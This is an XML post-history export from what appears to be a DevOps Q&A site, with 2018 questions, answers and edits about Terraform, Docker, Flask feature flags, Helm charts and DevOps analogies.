  <row Id="12531" PostHistoryTypeId="2" PostId="3999" RevisionGUID="dfc777f4-93e4-49ee-98b3-446039e6ed7b" CreationDate="2018-04-28T08:28:17.013" UserId="249" Text="I've got a couple of EC2 instances managed by Terraform, with public IP addresses in a VPC.&#xD;&#xA;&#xD;&#xA;With each Terraform run, I'm updating DNS records based on those public IPs.&#xD;&#xA;&#xD;&#xA;I don't need these instances all the time though, and when I switch them off, they of course lose their public IP address.&#xD;&#xA;&#xD;&#xA;At first this was causing `associate_public_ip_address` to become `false`, and Terraform wanted to recreate the instances. `lifecycle.ignore_changes` solves this:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;instance1&quot; {&#xD;&#xA;      associate_public_ip_address = true&#xD;&#xA;      ...&#xD;&#xA;    &#xD;&#xA;      lifecycle {&#xD;&#xA;        ignore_changes = [&quot;associate_public_ip_address&quot;]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;cloudflare_record&quot; &quot;record1&quot; {&#xD;&#xA;      domain = &quot;example.com&quot;&#xD;&#xA;      name   = &quot;server1.example.com&quot;&#xD;&#xA;      value  = &quot;${aws_instance.instance1.public_ip}&quot;&#xD;&#xA;      type   = &quot;A&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But... the `public_ip` attribute also becomes blank ;). This causes an attempted update to the A record, which fails because you can't set a blank record.&#xD;&#xA;&#xD;&#xA;So, I'm trying to work out a solution. I could use elastic IPs, which I might end up resorting to, but I'd ideally like to avoid that if I can. My next thought was... is there any way I could use `ignore_changes` conditionally, and thus ignore changes to the DNS record's `value` if it is blank?&#xD;&#xA;&#xD;&#xA;Are there any other solutions you can recommend?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12532" PostHistoryTypeId="1" PostId="3999" RevisionGUID="dfc777f4-93e4-49ee-98b3-446039e6ed7b" CreationDate="2018-04-28T08:28:17.013" UserId="249" Text="Terraform: ignore_changes conditionally? (temporary EC2 instance public IP address)" ContentLicense="CC BY-SA 3.0" />
  <row Id="12533" PostHistoryTypeId="3" PostId="3999" RevisionGUID="dfc777f4-93e4-49ee-98b3-446039e6ed7b" CreationDate="2018-04-28T08:28:17.013" UserId="249" Text="&lt;amazon-ec2&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12534" PostHistoryTypeId="5" PostId="3978" RevisionGUID="ad5f2b97-baf6-4b7c-b270-a5b1dee7ca49" CreationDate="2018-04-28T09:18:58.683" UserId="707" Comment="added 364 characters in body" Text="Mostly for devs but knowledgeable to others with the &quot;disaster girl&quot; meme:&#xD;&#xA;&quot;Works on my machine.. Ops problem now!&quot; This illustrates that lack of responsibility can endanger the whole company, and the value of software working only in a specific environment is not absolute.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, [the matrix of hell][2]. Adding Docker might seem as one column more, but containers will become to-go technology and the standard architecture on long term. So, you can run Docker containers also with Kubernetes or Apache Mesos.&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/a1UQl.png&#xD;&#xA;  [2]: https://i2.wp.com/blog.docker.com/wp-content/uploads/2013/08/the_matrix_of_hell.jpg?ssl=1&#xD;&#xA;  [3]: https://i.stack.imgur.com/rZZ8o.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="12535" PostHistoryTypeId="2" PostId="4000" RevisionGUID="222a6d00-df93-473f-94e4-ca4edc235b31" CreationDate="2018-04-28T14:55:50.987" UserId="5051" Text="I will make the following assumptions:&#xD;&#xA;&#xD;&#xA;* Service B communicates with Service A using any Application layer protocol (such as HTTP)&#xD;&#xA;* Service B is the only consumer of Service A&#xD;&#xA;* Users only interacts with Service B&#xD;&#xA;&#xD;&#xA;**Solution with down time**&#xD;&#xA;&#xD;&#xA;When upgrading Service A with breaking changes, move these changes to another &quot;version&quot;.&#xD;&#xA;&#xD;&#xA;The goal is for you to proactively create a new interface version (i.e. API version) that will implement the breaking changes. In some situation, this might require heavy refactoring. In other (depending if your code base was properly layered), not. Then you can start implementing &quot;contract&quot; tests between Service A and B to make sure A doesn't break the contract with B.&#xD;&#xA;&#xD;&#xA;The problem here is that when deploying this solution, for a short while you will not have access to neither API.&#xD;&#xA;&#xD;&#xA;**Solution without down time**&#xD;&#xA;&#xD;&#xA;Make the same change as the solution above, but also consider a deployment strategy where Service A.1 is always up while we introduce Service A.2. When no requests to A.1 is incoming, it may go down to leave only A.2 alive to serve all the requests. This is the blue-green deployment strategy.&#xD;&#xA;&#xD;&#xA;This is more a cherry on the top if your overall solution requires minimal downtime deployment." ContentLicense="CC BY-SA 3.0" />
  <row Id="12536" PostHistoryTypeId="50" PostId="3418" RevisionGUID="867f28b8-cc91-4239-8378-1fd816d61347" CreationDate="2018-04-28T20:10:22.520" UserId="-1" />
  <row Id="12537" PostHistoryTypeId="2" PostId="4001" RevisionGUID="0dadc1f2-426a-4f33-8cbf-7ec8ebe499d5" CreationDate="2018-04-29T05:51:52.890" UserId="5879" Text="I wanted to ask what the preferred tool, method or framework is when using feature flags with Flask applications. The main problem is that the most [relevant result][1] has not seen an update since 3 years, there is only one non-free [feature flag as a service][2], and the alternative to roll it myself with Environment variables or something with injecting values in the request header without Nginx. For context, it is a relatively [small application][3] that is [containerized][4] and has an [automatic Nginx reverse proxy][5].&#xD;&#xA;&#xD;&#xA;Therefore, the question is what is the defacto method for implementing feature flags in Flask apps?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/trustrachel/Flask-FeatureFlags&#xD;&#xA;  [2]: https://launchdarkly.com/&#xD;&#xA;  [3]: https://github.com/mayaculpa/veleda&#xD;&#xA;  [4]: https://docs.docker.com/compose/compose-file/&#xD;&#xA;  [5]: https://github.com/JrCs/docker-letsencrypt-nginx-proxy-companion" ContentLicense="CC BY-SA 3.0" />
  <row Id="12538" PostHistoryTypeId="1" PostId="4001" RevisionGUID="0dadc1f2-426a-4f33-8cbf-7ec8ebe499d5" CreationDate="2018-04-29T05:51:52.890" UserId="5879" Text="What is the preferred method of using feature flags in Flask?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12539" PostHistoryTypeId="3" PostId="4001" RevisionGUID="0dadc1f2-426a-4f33-8cbf-7ec8ebe499d5" CreationDate="2018-04-29T05:51:52.890" UserId="5879" Text="&lt;docker&gt;&lt;nginx&gt;&lt;feature-flags&gt;&lt;feature-toggles&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12540" PostHistoryTypeId="2" PostId="4002" RevisionGUID="eb62dc74-a0f4-4246-8430-3a50b1793a70" CreationDate="2018-04-29T13:50:38.540" UserId="7619" Text="Not sure if this is the best place for the question but I have multiple development projects with different dependencies.. I want to know what the best practice is to isolate each project?&#xD;&#xA;&#xD;&#xA;A lot of people have mention chroot jails or containers.. I can't seem to find a &quot;best practice&quot; for this anywhere. I am largely self taught when it comes to software development.&#xD;&#xA;&#xD;&#xA;What I use:&#xD;&#xA;I typically program on a Debian box or Windows 10 depending on what I need to accomplish.&#xD;&#xA;I program in Java, Python, and the typical web stuff (jscript, html, css).. &#xD;&#xA;Bash and Powershell if you consider either programming too." ContentLicense="CC BY-SA 3.0" />
  <row Id="12541" PostHistoryTypeId="1" PostId="4002" RevisionGUID="eb62dc74-a0f4-4246-8430-3a50b1793a70" CreationDate="2018-04-29T13:50:38.540" UserId="7619" Text="Best way to isolate programming projects?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12542" PostHistoryTypeId="3" PostId="4002" RevisionGUID="eb62dc74-a0f4-4246-8430-3a50b1793a70" CreationDate="2018-04-29T13:50:38.540" UserId="7619" Text="&lt;python&gt;&lt;java&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12543" PostHistoryTypeId="2" PostId="4003" RevisionGUID="13b8a53e-67d7-4c31-8a8b-fe330fbaebd1" CreationDate="2018-04-29T14:42:43.103" UserId="210" Text="http://microservices.io/&#xD;&#xA;&#xD;&#xA;This website explains that microservices are not the holy grail but gives an impression how it could be implemented and how it could be useful.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12544" PostHistoryTypeId="5" PostId="4003" RevisionGUID="3a2f65e5-201b-4a82-aef1-0861e467848d" CreationDate="2018-04-29T14:50:09.833" UserId="210" Comment="added 454 characters in body" Text="http://microservices.io/&#xD;&#xA;&#xD;&#xA;This website explains that microservices are not the holy grail but gives an impression how it could be implemented and how it could be useful.&#xD;&#xA;&#xD;&#xA;Regarding the question:&#xD;&#xA;&#xD;&#xA;&gt; Best way to isolate programming projects?&#xD;&#xA;&#xD;&#xA;there is no one-size-fits-all. It depends on the goal. If your company is commercial then the most important thing is that new features while be added. So a monolith would be good first. If issues occur one could apply the cheese-slicer method and extract the problematic functions into microservices. The most important thing is to get it to the customer as soon as possible.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12545" PostHistoryTypeId="50" PostId="3419" RevisionGUID="dad63273-4609-4b08-a88d-d902e83ffdd5" CreationDate="2018-04-29T15:10:57.040" UserId="-1" />
  <row Id="12546" PostHistoryTypeId="5" PostId="4002" RevisionGUID="2c7479e5-46f0-4fd9-82e4-91de43f8596c" CreationDate="2018-04-29T15:38:56.413" UserId="7619" Comment="added 2 characters in body" Text="Not sure if this is the best place for the question but I have multiple development projects with different dependencies.. I want to know what the best practice is to isolate each project?&#xD;&#xA;&#xD;&#xA;A lot of people have mentioned chroot jails or containers.. I can't seem to find a &quot;best practice&quot; for this anywhere. I am largely self taught when it comes to software development.&#xD;&#xA;&#xD;&#xA;What I use:&#xD;&#xA;I typically program on a Debian box or Windows 10 depending on what I need to accomplish.&#xD;&#xA;I program in Java, Python, and the typical web stuff (jscript, html, css).. &#xD;&#xA;Bash and Powershell if you consider either programming too." ContentLicense="CC BY-SA 3.0" />
  <row Id="12547" PostHistoryTypeId="2" PostId="4004" RevisionGUID="505c9432-63dd-47ba-ae5e-f01d0026df79" CreationDate="2018-04-29T15:53:35.327" UserId="210" Text="Based on the suggestion in one of the comments to one of the answers by @PeterMuryshkin I read more about [Industry4.0][1] and I think it could be an DevOps analogy.&#xD;&#xA;&#xD;&#xA;Another DevOps analogy could be industry 4.0:&#xD;&#xA;&#xD;&#xA;&gt; Industry 4.0 is a name for the current trend of automation and data&#xD;&#xA;&gt; exchange in manufacturing technologies. It includes cyber-physical&#xD;&#xA;&gt; systems, the Internet of things, cloud computing and&#xD;&#xA;&gt; cognitive computing. Industry 4.0 is commonly referred to as the&#xD;&#xA;&gt; fourth industrial revolution.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;In order to introduce industry 1.0 the functional process, i.e. how to produce  coton manually has to be clear in order to automate this, 2.0 automated more and 3.0 as well. Nowadays DevOps is also about automating more and more, but in order to do that the process should be clear as well. As 4.0 is about moving to the cloud, e.g. AWS, GCP, AWS, CI/CD and self-healing systems this could be an analogy too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Industry_4.0&#xD;&#xA;  [2]: https://i.stack.imgur.com/aYH6v.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="12548" PostHistoryTypeId="5" PostId="4004" RevisionGUID="a2129a85-93bc-41d2-b861-e850e6fb36e7" CreationDate="2018-04-29T15:58:48.170" UserId="210" Comment="deleted 2 characters in body" Text="Based on a suggestion in one of the comments to one of the answers by @PeterMuryshkin I read more about [Industry4.0][1] and I think it could be an DevOps analogy.&#xD;&#xA;&#xD;&#xA;Another DevOps analogy could be industry 4.0:&#xD;&#xA;&#xD;&#xA;&gt; Industry 4.0 is a name for the current trend of automation and data&#xD;&#xA;&gt; exchange in manufacturing technologies. It includes cyber-physical&#xD;&#xA;&gt; systems, the Internet of things, cloud computing and&#xD;&#xA;&gt; cognitive computing. Industry 4.0 is commonly referred to as the&#xD;&#xA;&gt; fourth industrial revolution.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;In order to introduce industry 1.0 the functional process, i.e. how to produce  coton manually has to be clear in order to automate this, 2.0 automated more and 3.0 as well. Nowadays DevOps is also about automating more and more, but in order to do that the process should be clear as well. As 4.0 is about moving to the cloud, e.g. AWS, GCP, AWS, CI/CD and self-healing systems this could be an analogy too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Industry_4.0&#xD;&#xA;  [2]: https://i.stack.imgur.com/aYH6v.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="12550" PostHistoryTypeId="2" PostId="4006" RevisionGUID="a0ba72d3-f174-4b6c-b713-f8f00662b7e1" CreationDate="2018-04-29T16:30:13.793" UserId="210" Text="Another analogy was found here https://devrant.com/search?term=devops&#xD;&#xA;&#xD;&#xA;I think that this on is also applicable as there are still developers that continue throwing things over the wall.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I have to admit that I feel like this and that this encourages me to learn programming. I am now learning Java and want to get certificates. I am now studying for Java Oracle associate.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Z5QnE.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="12551" PostHistoryTypeId="2" PostId="4007" RevisionGUID="44e96da0-5e85-4327-ab8b-fa0acc883acf" CreationDate="2018-04-29T16:33:49.957" UserId="210" Text="Another one that I like is this one from this website https://devrant.com/search?term=devops&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;as I have heard it multiple times and it frustrates me because it is silo behavior and anti devops. I basically want to enforce it, when you change it you have to release or when you break it you fix it. In practice it is not that simple as a mindset has to be changed.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/sJf7q.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="12552" PostHistoryTypeId="5" PostId="4002" RevisionGUID="771eb16e-3633-4011-9c46-51770e09bcda" CreationDate="2018-04-29T16:50:52.973" UserId="7619" Comment="added 276 characters in body" Text="Not sure if this is the best place for the question but I have multiple development projects with different dependencies.. I want to know what the best practice is to isolate each project?&#xD;&#xA;&#xD;&#xA;I have many unrelated projects that a designed and updated on my laptop but I typically push them to a rPi or VMs (esxi). I would like to isolate the various projects so its easier to track which dependencies belong to which project and to stop the OS from having libs and other deps that aren't needed after a project is 'completed'. I do code some for work but its largely a hobby helping neighbors and the local SPCA.&#xD;&#xA;&#xD;&#xA;What I use:&#xD;&#xA;I typically program on a Debian box or Windows 10 depending on what I need to accomplish.&#xD;&#xA;I program in Java, Python, and the typical web stuff (jscript, html, css).. &#xD;&#xA;Bash and Powershell if you consider either programming too.&#xD;&#xA;Version control is done via Gitlab." ContentLicense="CC BY-SA 3.0" />
  <row Id="12553" PostHistoryTypeId="50" PostId="3488" RevisionGUID="97be02da-f2f4-4cb2-be9a-4793eedde262" CreationDate="2018-04-29T17:10:56.933" UserId="-1" />
  <row Id="12555" PostHistoryTypeId="2" PostId="4008" RevisionGUID="fbb13c56-9ce6-41a3-a9dd-efa3fd823913" CreationDate="2018-04-29T17:41:40.260" UserId="7620" Text="So we have 5 repositories (Individual web services ex. CMS/E-commerce and internal APIs) which are currently deployed as Docker containers.&#xD;&#xA;&#xD;&#xA;What we plan to do is to use these services and make a standalone SaaS for customers. This is straightforward however, each customer over here will have some kind of Business customizations (Business Logic etc) so this means based on our current deployment technique each customer will need their own 5 repositories.&#xD;&#xA;&#xD;&#xA;Just to explain things more clearly:&#xD;&#xA;&#xD;&#xA;Each customer will have their own aws instance which will be having the docker containers of our products.&#xD;&#xA;&#xD;&#xA;However, with this approach, we will have to create N * 5 repositories and custom deployment scripts (Ansible+Terraform) for each client. &#xD;&#xA;&#xD;&#xA;One solution that I had was to create individual branches for each project within the same 5 repositories however, this is not a good scalable method. &#xD;&#xA;&#xD;&#xA;Open to any idea, to be honest since this is something new for me. " ContentLicense="CC BY-SA 3.0" />
  <row Id="12556" PostHistoryTypeId="1" PostId="4008" RevisionGUID="fbb13c56-9ce6-41a3-a9dd-efa3fd823913" CreationDate="2018-04-29T17:41:40.260" UserId="7620" Text="Deploying a SaaS solution which is custom for every customer" ContentLicense="CC BY-SA 3.0" />
  <row Id="12557" PostHistoryTypeId="3" PostId="4008" RevisionGUID="fbb13c56-9ce6-41a3-a9dd-efa3fd823913" CreationDate="2018-04-29T17:41:40.260" UserId="7620" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;git&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12558" PostHistoryTypeId="2" PostId="4009" RevisionGUID="0bf857bf-085c-4344-8b07-14919b118269" CreationDate="2018-04-29T17:43:30.037" UserId="47" Text="A more generic approach would be use a separate virtualized environment for each project, see [tag:virtualization]. That could be either:&#xD;&#xA;&#xD;&#xA;- a container image - more lightweight, faster and definitely more popular these days, see [tag:containers]&#xD;&#xA;- a virtual machine (VM) image, slower and a bit more heavier to maintain than containers&#xD;&#xA;&#xD;&#xA;You'd have all the project dependencies (IDEs, libraries, tools, etc) installed inside the virtualized environment, not on your system itself. &#xD;&#xA;&#xD;&#xA;You'd need to create/bring the project's corresponding image on your machine when you start working on it and you can delete or save it for later re-use on some external storage when done. A shared artifact respository would be recommended as storage if more than one developer can work on these projects.&#xD;&#xA;&#xD;&#xA;A huge advantage of this approach is that such virtualized environments play really well with automated CI/CD pipelines, in true DevOps spirit, helping to minimize/eliminate the differences between the development and staging/production environments.&#xD;&#xA;&#xD;&#xA;Depending on the programming language and/or the supporting development tools being used on a particular project you may have some more specific approaches/alternatives. For example [`Pipenv`][1] or [Virtualenv][2]/[tag:virtualenv] can be used to obtain such isolation for Python projects. But these solutions are typically not usable in other contextes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.pipenv.org/&#xD;&#xA;  [2]: https://virtualenv.pypa.io/en/stable/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12559" PostHistoryTypeId="2" PostId="4010" RevisionGUID="234e424b-33c9-43e3-9b05-9f06dcfe3cb1" CreationDate="2018-04-29T18:01:20.203" UserId="47" Text="I'd investigate what would it take to bundle all these customizations into something like a per-customer configurable *theme* that can be served by a single, more generic application code.&#xD;&#xA;&#xD;&#xA;It probably won't be easy and it may take a long time to reach such capability, but it can be done gradually: start with the N*5 repos and, as you inch forward toward this ideal solution you'll see the deltas in the application code from the repos starting to shrink - the differences will gradually migrate towards these custom themes/artifacts. &#xD;&#xA;&#xD;&#xA;When there are no more app code differences left then you can replace the N*5 repos with just 5 app code repos for now common app code and N*5 theme configurations/artifacts repos. Much easier to maintain." ContentLicense="CC BY-SA 3.0" />
  <row Id="12560" PostHistoryTypeId="50" PostId="3709" RevisionGUID="34d3697e-e392-4611-a7e9-b1552c4996ed" CreationDate="2018-04-29T18:10:57.183" UserId="-1" />
  <row Id="12561" PostHistoryTypeId="2" PostId="4011" RevisionGUID="8963c8f9-9a32-4d68-b5d3-b0f948c01bfd" CreationDate="2018-04-29T19:25:08.243" UserId="210" Text="DevOps could also be compared with a commando squad, that consists of a small number of specialists. I always have to think about the first level of Commandos 1 behind enemy lines. There were three characters:&#xD;&#xA;&#xD;&#xA;* marine&#xD;&#xA;* driver&#xD;&#xA;* green beret&#xD;&#xA;&#xD;&#xA;Each of them possesses unique qualities, i.e. diving, swimming, rowing (marine), diver (machine gun, driving), green beret (climbing, carrying barrels). &#xD;&#xA;&#xD;&#xA;All of them were able to take out enemies aka automation in DevOps. Whether Operations could be compared with the marine, driver of green beret does not matter. Operation, Development and Quality Assurance all have their specialties. Combining these elements is essential to release software more often. &#xD;&#xA;&#xD;&#xA;If for example one of the commandos died in the game, the game was over. All of them had to work together in order to accomplish a mission. I can remember that each of the commandos were isolated in the beginning of level 1 and had to take out enemies themselves, but they were dependent on each other as well. &#xD;&#xA;&#xD;&#xA;The marine was required to bring both the driver and the green beret to the other island as he was the only one that could row the boot. Once on the island the Green beret was needed as he was the only one that could move explosive barrels that were required to blow up the radio station.&#xD;&#xA;&#xD;&#xA;When they were working together there was a higher chance that they could survive as three shots were needed to take out an enemy. If they shoot together the enemy was taken out immediately." ContentLicense="CC BY-SA 3.0" />
  <row Id="12562" PostHistoryTypeId="2" PostId="4012" RevisionGUID="5bb13a17-1583-4d99-9360-8ec366a19a94" CreationDate="2018-04-30T04:37:36.710" UserId="7626" Text="I am new to Dockers and I want to run docker with ram only storage. In other words, I do not want docker to save anything on persistent storage. I found out that on linux dockers support tmpfs. Is there any such support for macos? I have tried setting --tmpfs flag and docket run commands run fine on mac with that flag." ContentLicense="CC BY-SA 3.0" />
  <row Id="12563" PostHistoryTypeId="1" PostId="4012" RevisionGUID="5bb13a17-1583-4d99-9360-8ec366a19a94" CreationDate="2018-04-30T04:37:36.710" UserId="7626" Text="Does dockers on MACos supports docker tmpfs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12564" PostHistoryTypeId="3" PostId="4012" RevisionGUID="5bb13a17-1583-4d99-9360-8ec366a19a94" CreationDate="2018-04-30T04:37:36.710" UserId="7626" Text="&lt;docker&gt;&lt;containers&gt;&lt;docker-machine&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12565" PostHistoryTypeId="5" PostId="4012" RevisionGUID="c68c6768-d062-42f7-a12c-eb84d9325a52" CreationDate="2018-04-30T04:42:53.580" UserId="228" Comment="spelling, capitalization" Text="I am new to Docker and I want to run Docker with ram only storage. In other words, I do not want Docker to save anything on persistent storage. I found out that on Linux Docker supports tmpfs. Is there any such support for MacOS? I have tried setting --tmpfs flag and docker run commands run fine on mac with that flag." ContentLicense="CC BY-SA 3.0" />
  <row Id="12566" PostHistoryTypeId="4" PostId="4012" RevisionGUID="c68c6768-d062-42f7-a12c-eb84d9325a52" CreationDate="2018-04-30T04:42:53.580" UserId="228" Comment="spelling, capitalization" Text="Does Docker on MacOS support tmpfs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12567" PostHistoryTypeId="2" PostId="4013" RevisionGUID="b33aa66e-925e-41a5-be7c-3ebd7b1111ec" CreationDate="2018-04-30T07:18:56.077" UserId="210" Text="When the default values.yaml is inspected it is not clear how to pull a private docker image.&#xD;&#xA;&#xD;&#xA;    # Default values for sonatype-nexus-apt.&#xD;&#xA;    # This is a YAML-formatted file.&#xD;&#xA;    # Declare variables to be passed into your templates.&#xD;&#xA;    &#xD;&#xA;    replicaCount: 1&#xD;&#xA;    &#xD;&#xA;    image:&#xD;&#xA;      repository: nginx&#xD;&#xA;      tag: stable&#xD;&#xA;      pullPolicy: IfNotPresent&#xD;&#xA;    &#xD;&#xA;    service:&#xD;&#xA;      type: ClusterIP&#xD;&#xA;      port: 80&#xD;&#xA;    &#xD;&#xA;    ingress:&#xD;&#xA;      enabled: false&#xD;&#xA;      annotations: {}&#xD;&#xA;        # kubernetes.io/ingress.class: nginx&#xD;&#xA;        # kubernetes.io/tls-acme: &quot;true&quot;&#xD;&#xA;      path: /&#xD;&#xA;      hosts:&#xD;&#xA;        - chart-example.local&#xD;&#xA;      tls: []&#xD;&#xA;      #  - secretName: chart-example-tls&#xD;&#xA;      #    hosts:&#xD;&#xA;      #      - chart-example.local&#xD;&#xA;    &#xD;&#xA;    resources: {}&#xD;&#xA;      # We usually recommend not to specify default resources and to leave this as a conscious&#xD;&#xA;      # choice for the user. This also increases chances charts run on environments with little&#xD;&#xA;      # resources, such as Minikube. If you do want to specify resources, uncomment the following&#xD;&#xA;      # lines, adjust them as necessary, and remove the curly braces after 'resources:'.&#xD;&#xA;      # limits:&#xD;&#xA;      #  cpu: 100m&#xD;&#xA;      #  memory: 128Mi&#xD;&#xA;      # requests:&#xD;&#xA;      #  cpu: 100m&#xD;&#xA;      #  memory: 128Mi&#xD;&#xA;    &#xD;&#xA;    nodeSelector: {}&#xD;&#xA;    &#xD;&#xA;    tolerations: []&#xD;&#xA;    &#xD;&#xA;    affinity: {}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12568" PostHistoryTypeId="1" PostId="4013" RevisionGUID="b33aa66e-925e-41a5-be7c-3ebd7b1111ec" CreationDate="2018-04-30T07:18:56.077" UserId="210" Text="How to pull a docker image from a private docker registry using Helm?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12569" PostHistoryTypeId="3" PostId="4013" RevisionGUID="b33aa66e-925e-41a5-be7c-3ebd7b1111ec" CreationDate="2018-04-30T07:18:56.077" UserId="210" Text="&lt;docker&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12570" PostHistoryTypeId="4" PostId="2206" RevisionGUID="cd868fc8-d405-45c3-b197-c0adc99193f4" CreationDate="2018-04-30T07:20:43.900" UserId="210" Comment="edited title" Text="How to make Tiller highly available?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12571" PostHistoryTypeId="5" PostId="3514" RevisionGUID="e4ba7718-440f-40bd-9161-6132b07a4820" CreationDate="2018-04-30T07:22:07.890" UserId="210" Comment="deleted 14 characters in body; edited title" Text="I'm trying to set up `helm` for the first time and I'm having troubles.&#xD;&#xA;&#xD;&#xA;First, I've created account with `cluster-admin` role. (According to https://github.com/kubernetes/helm/blob/master/docs/rbac.md#example-service-account-with-cluster-admin-role ).&#xD;&#xA;&#xD;&#xA;After that I've initialized brand new `helm` tiller by using `helm init --service-account=tiller` and it was successful.&#xD;&#xA;&#xD;&#xA;Now when I'm trying to install something:&#xD;&#xA;  &#xD;&#xA;  - First try:&#xD;&#xA;    &#xD;&#xA;        $ helm repo add gitlab https://charts.gitlab.io&#xD;&#xA;        $ helm install --name gitlab-runner -f gitlab-runner-values.yaml gitlab/gitlab-runner&#xD;&#xA;&#xD;&#xA;    where `gitlab-runner-values.yaml` looks like this:&#xD;&#xA;&#xD;&#xA;        gitlabUrl: https://my-gitlab.domain.com&#xD;&#xA;        runnerRegistrationToken: &quot;MY_GITLAB_RUNNER_TOKEN&quot;&#xD;&#xA;        concurrent: 10&#xD;&#xA;&#xD;&#xA;  - Second try (as I was not sure if there is an issue with custom repo, so I tried from official):&#xD;&#xA;&#xD;&#xA;        $ helm install stable/kibana&#xD;&#xA;&#xD;&#xA;I'm getting this error:&#xD;&#xA;&#xD;&#xA;    Error: forwarding ports: error upgrading connection: error dialing backend: dial tcp 192.168.0.18:10250: getsockopt: connection timed out&#xD;&#xA;&#xD;&#xA;I noticed that `192.168.0.18` is visble on pod list:&#xD;&#xA;&#xD;&#xA;    kube-system   kube-proxy-kzflh                        1/1       Running   0          7d        192.168.0.18   kube-worker-7&#xD;&#xA;    kube-system   weave-net-jq4n4                         2/2       Running   2          7d        192.168.0.18   kube-worker-7&#xD;&#xA;&#xD;&#xA;and that `tiller` is running on the same node:&#xD;&#xA;&#xD;&#xA;    kube-system   tiller-deploy-5b48764ff7-qtv9v          1/1       Running   0          3m        10.38.0.1      kube-worker-7&#xD;&#xA;&#xD;&#xA;I was told that I probably don't have permission to `pods/port-forward` and `list pods`, but `kubectl auth can-i create pods/portforward` tells me that I can do this (the same with `list pods`) &#xD;&#xA;&#xD;&#xA;Also `helm list` is throwing the same error as `install`." ContentLicense="CC BY-SA 3.0" />
  <row Id="12572" PostHistoryTypeId="4" PostId="3514" RevisionGUID="e4ba7718-440f-40bd-9161-6132b07a4820" CreationDate="2018-04-30T07:22:07.890" UserId="210" Comment="deleted 14 characters in body; edited title" Text="Why does Helm time out on almost every action?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12573" PostHistoryTypeId="4" PostId="3518" RevisionGUID="54b21ea7-64a8-41cd-989a-000c31364494" CreationDate="2018-04-30T07:23:52.720" UserId="210" Comment="edited title" Text="What is the impact of using Helm Deployments instead of StatefulSets for Databases like MongoDB or MySQL?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12574" PostHistoryTypeId="6" PostId="3518" RevisionGUID="54b21ea7-64a8-41cd-989a-000c31364494" CreationDate="2018-04-30T07:23:52.720" UserId="210" Comment="edited title" Text="&lt;kubernetes&gt;&lt;databases&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12575" PostHistoryTypeId="6" PostId="1391" RevisionGUID="308511b3-a7f1-46c8-8e72-b311a3e83339" CreationDate="2018-04-30T07:25:52.917" UserId="210" Comment="edited tags" Text="&lt;resilience-testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12576" PostHistoryTypeId="6" PostId="1965" RevisionGUID="e34b9f55-a395-4c5e-886b-2bed0cab5494" CreationDate="2018-04-30T07:27:49.390" UserId="210" Comment="edited tags" Text="&lt;cicd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12577" PostHistoryTypeId="6" PostId="1757" RevisionGUID="546be3a6-3927-4e70-bfe2-2975f31d8906" CreationDate="2018-04-30T07:28:54.733" UserId="210" Comment="edited tags" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
